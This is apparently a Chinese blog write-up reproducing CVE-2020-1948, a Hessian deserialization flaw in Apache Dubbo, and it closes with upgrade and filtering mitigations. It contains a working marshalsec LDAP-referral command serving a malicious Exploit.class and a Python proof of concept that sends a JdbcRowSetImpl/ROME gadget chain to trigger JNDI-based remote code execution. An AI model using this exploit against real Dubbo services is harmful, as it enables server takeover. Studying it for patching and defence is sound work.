[CVE-2020-1948] Apache Dubbo Provider反序列化漏洞复现及分析

2020-07-01 16:22:37 浏览数 (1)

1、Apache Dubbo

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现

对于dubbo的源码分析可参考:

https://www.anquanke.com/post/id/197658

2、CVE-2020-1948

漏洞由Ruilin发现,详情可见:

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

之前拜读过几篇文章,如研究Kryo的Java “后反序列化漏洞”利用思路:(https://paper.seebug.org/1133/)。dubbo之前的原生反序列化漏洞:https://www.cnblogs.com/zaqzzz/p/12443794.html

此次漏洞原理是由于Apache Dubbo Provider组件默认使用了hessian进行反序列化,并不复杂,所以可以直接使用之前的hessian反序列化利用方法:

https://paper.seebug.org/1131/

3、漏洞复现

这里模拟一种攻击场景,demo选用springboot搭建dubbo的一个项目:https://github.com/apache/dubbo-spring-boot-project/releases/tag/2.7.6,

下载后IDEA打开,启动dubbo-spring-boot-auto-configure-provider-sample:

启动后会在公网开放一个端口12345,等待dubbo协议通信数据传入,后续则是通过python模拟发送恶意数据到这个端口:

下一步使用环境中的gedget,开启ldap服务器,利用JNDI注入恶意数据,这里还是使用rome作为gadget,在环境中加入依赖:

使用marshalsec在8087端口开启ldap服务器,在本地web根目录放置恶意Exploit.class文件:

代码语言:javascript复制
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://127.0.0.1:81/#Exploit 8087

最后一步使用 python 代码即可进行dubbo协议通信并传入恶意对象进行反序列化后的JNDI注入:

代码语言:javascript复制
代码语言:javascript复制
# -*- coding: utf-8 -*-# Ruilin# pip3 install dubbo-pyfrom dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClient client = DubboClient('127.0.0.1', 12345) JdbcRowSetImpl=new_object(    'com.sun.rowset.JdbcRowSetImpl',    dataSource="ldap://127.0.0.1:8087/Exploit",    strMatchColumns=["foo"]    )JdbcRowSetImplClass=new_object(    'java.lang.Class',    name="com.sun.rowset.JdbcRowSetImpl",    )toStringBean=new_object(    'com.rometools.rome.feed.impl.ToStringBean',    beanClass=JdbcRowSetImplClass,    obj=JdbcRowSetImpl    ) resp = client.send_request_and_return_response(    service_name='cn.rui0',    method_name='rce',args=[toStringBean])

web服务器接收到请求,执行反序列化操作完成RCE:

后续补充代码层调用链分析。

4、总结

1)攻击场景

如果系统开启了dubbo端口(如1.2.3.4:12345),攻击者使用python模拟dubbo通信协议发送rpc请求,数据包含带有无法识别的服务名称service_nam或方法名称method_name,及恶意参数(JdbcRowSetImpl等),在反序列化这些恶意参数时便会触发JNDI注入,导致执行任意恶意代码。

因此攻击难度较低,但攻击危害很大。

2)防御手段

a)更新至2.7.7版本:

https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7

b)通用防御措施,增加反序列化前的service name的判断,但如果控制到中间注册中心还是会存在攻击风险;

c)hessian自身没有其他序列化包做gadgets层的防护,建议使用时进行拓展,可以参考SOFA的处理(https://github.com/sofastack/sofa-hessian ) 来增加对应的黑名单过滤器。

参考:

https://www.codercto.com/a/101851.html?from=timeline

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

0 人点赞